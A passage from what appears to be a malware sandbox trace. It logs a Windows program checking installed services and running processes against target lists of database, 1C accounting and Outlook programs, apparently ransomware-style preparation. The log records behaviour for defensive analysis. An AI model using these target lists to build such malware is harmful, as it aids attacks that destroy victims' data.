lpString2="gpsvc") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0061.637] lstrlenW (lpString="iphlpsvc") returned 8 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0061.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0061.637] lstrlenW (lpString="LanmanServer") returned 12 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0061.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0061.637] lstrlenW (lpString="LanmanWorkstation") returned 17 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0061.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0061.637] lstrlenW (lpString="lmhosts") returned 7 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0061.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0061.637] lstrlenW (lpString="MMCSS") returned 5 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0061.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0061.637] lstrlenW (lpString="MpsSvc") returned 6 [0061.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0061.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0061.637] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0061.637] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0061.638] lstrlenW (lpString="Netman") returned 6 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0061.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0061.638] lstrlenW (lpString="netprofm") returned 8 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0061.638] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0061.638] lstrlenW (lpString="NlaSvc") returned 6 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0061.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0061.638] lstrlenW (lpString="nsi") returned 3 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0061.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0061.638] lstrlenW (lpString="PcaSvc") returned 6 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0061.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0061.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0061.638] lstrlenW (lpString="PlugPlay") returned 8 [0061.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0061.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0061.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0061.639] lstrlenW (lpString="Power") returned 5 [0061.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0061.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0061.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0061.639] lstrlenW (lpString="ProfSvc") returned 7 [0061.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0061.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0061.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.639] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.639] lstrlenW (lpString="RpcSs") returned 5 [0061.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.639] lstrlenW (lpString="SamSs") returned 5 [0061.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.640] lstrlenW (lpString="Schedule") returned 8 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.640] lstrlenW (lpString="SENS") returned 4 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.640] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.640] lstrlenW (lpString="Spooler") returned 7 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.640] lstrlenW (lpString="swprv") returned 5 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0061.640] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0061.640] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0061.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0061.640] lstrlenW (lpString="SysMain") returned 7 [0061.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0061.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0061.641] lstrlenW (lpString="Themes") returned 6 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0061.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0061.641] lstrlenW (lpString="TrkWks") returned 6 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0061.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0061.641] lstrlenW (lpString="UxSms") returned 5 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0061.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0061.641] lstrlenW (lpString="VSS") returned 3 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0061.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0061.641] lstrlenW (lpString="WdiServiceHost") returned 14 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0061.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0061.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0061.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0061.641] lstrlenW (lpString="WdiSystemHost") returned 13 [0061.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0061.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0061.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0061.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0061.642] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0061.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0061.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0061.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0061.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0061.642] lstrlenW (lpString="Winmgmt") returned 7 [0061.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.642] lstrlenW (lpString="WPDBusEnum") returned 10 [0061.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0061.642] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0061.642] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0061.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0061.642] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3372ff8 | out: hHeap=0x790000) returned 1 [0061.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0061.644] Process32FirstW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.644] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.644] lstrlenW (lpString="System") returned 6 [0061.644] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0061.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0061.645] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.645] lstrlenW (lpString="smss.exe") returned 8 [0061.645] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0061.645] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.645] lstrlenW (lpString="csrss.exe") returned 9 [0061.645] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.645] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.645] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.645] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.646] lstrlenW (lpString="wininit.exe") returned 11 [0061.646] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.646] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.646] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.646] lstrlenW (lpString="csrss.exe") returned 9 [0061.646] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.647] lstrlenW (lpString="winlogon.exe") returned 12 [0061.647] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.647] lstrlenW (lpString="services.exe") returned 12 [0061.647] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.647] lstrlenW (lpString="lsass.exe") returned 9 [0061.647] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.648] lstrlenW (lpString="lsm.exe") returned 7 [0061.648] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.648] lstrlenW (lpString="svchost.exe") returned 11 [0061.648] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.648] lstrlenW (lpString="svchost.exe") returned 11 [0061.648] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.648] lstrlenW (lpString="svchost.exe") returned 11 [0061.648] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.649] lstrlenW (lpString="svchost.exe") returned 11 [0061.649] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.649] lstrlenW (lpString="svchost.exe") returned 11 [0061.649] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.649] lstrlenW (lpString="audiodg.exe") returned 11 [0061.649] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.650] lstrlenW (lpString="svchost.exe") returned 11 [0061.650] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.650] lstrlenW (lpString="svchost.exe") returned 11 [0061.650] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.650] lstrlenW (lpString="dwm.exe") returned 7 [0061.650] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.650] lstrlenW (lpString="explorer.exe") returned 12 [0061.651] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.651] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.651] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.651] lstrlenW (lpString="taskhost.exe") returned 12 [0061.651] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.651] lstrlenW (lpString="svchost.exe") returned 11 [0061.651] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.652] lstrlenW (lpString="taskeng.exe") returned 11 [0061.652] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.652] lstrlenW (lpString="taskhost.exe") returned 12 [0061.652] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, 